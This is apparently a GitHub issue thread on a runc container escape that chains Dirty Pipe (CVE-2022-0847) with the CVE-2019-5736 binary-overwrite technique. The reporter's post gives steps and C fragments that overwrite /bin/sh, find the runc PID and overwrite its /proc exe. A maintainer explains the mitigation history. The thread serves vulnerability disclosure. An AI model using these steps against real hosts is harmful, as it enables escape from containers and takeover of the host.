You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
exe_file is task->mm->exe_file and it It should be an in-memory file not a file on disk,so we shouldn't be able to overwrite the disk file by overwriting it
But my poc works and i don't know why
Steps :
echo '#!/proc/self/exe' > /bin/sh
search runc pid
while (found == 0) {
dir = opendir("/proc");
while ((ptr = readdir(dir)) != NULL) {
snprintf(path, sizeof(path), "/proc/%s/cmdline", ptr->d_name);
if (isRuncProcess(path, "runc")) {
found = atoi(ptr->d_name);
printf("[+] Found the RUNC PID: %d\n", found);
break;
}
}
closedir(dir);
}
open /proc/runc pid/exe
int handleFd = -1;
while (handleFd == -1) {
snprintf(path, sizeof(path), "/proc/%d/exe", found);
handleFd = open(path, O_RDONLY);
}
runc exec -t test /bin/sh
splice + write overwrite
The text was updated successfully, but these errors were encountered:
Because of many complaints by Kubertnetes folks, we switched to making /proc/self/exe a read-only bind-mount. The memfd logic still exists but it's only exercised by rootless containers.
It's pretty frustrating that I implemented a protection against this precise issue which we were forced to disable because Kubertnetes integration tests started failing (copying the binary increases memory usage by a few MB and the Kubertnetes tests had tiny memory limits).
by sendfile() memfd and binfd are the same page cache,if the pagecache of memfd is modified through dirtypipe, it will also cause the container to escape
Overwriting /proc/runc pid/exe through dirty pipe(CVE-2022-0847) can cause container escape like CVE-2019-5736
But CVE-2019-5736 was fixed by memfd_create in commit nsenter: clone /proc/self/exe to avoid exposing host binary to container
For now i think /proc/runc pid/exe is an in-memory file, if we open it we can get fd created by
memfd_create
in kernel :
exe_file is task->mm->exe_file and it It should be an in-memory file not a file on disk,so we shouldn't be able to overwrite the disk file by overwriting it
But my poc works and i don't know why
Steps :
echo '#!/proc/self/exe' > /bin/sh
The text was updated successfully, but these errors were encountered: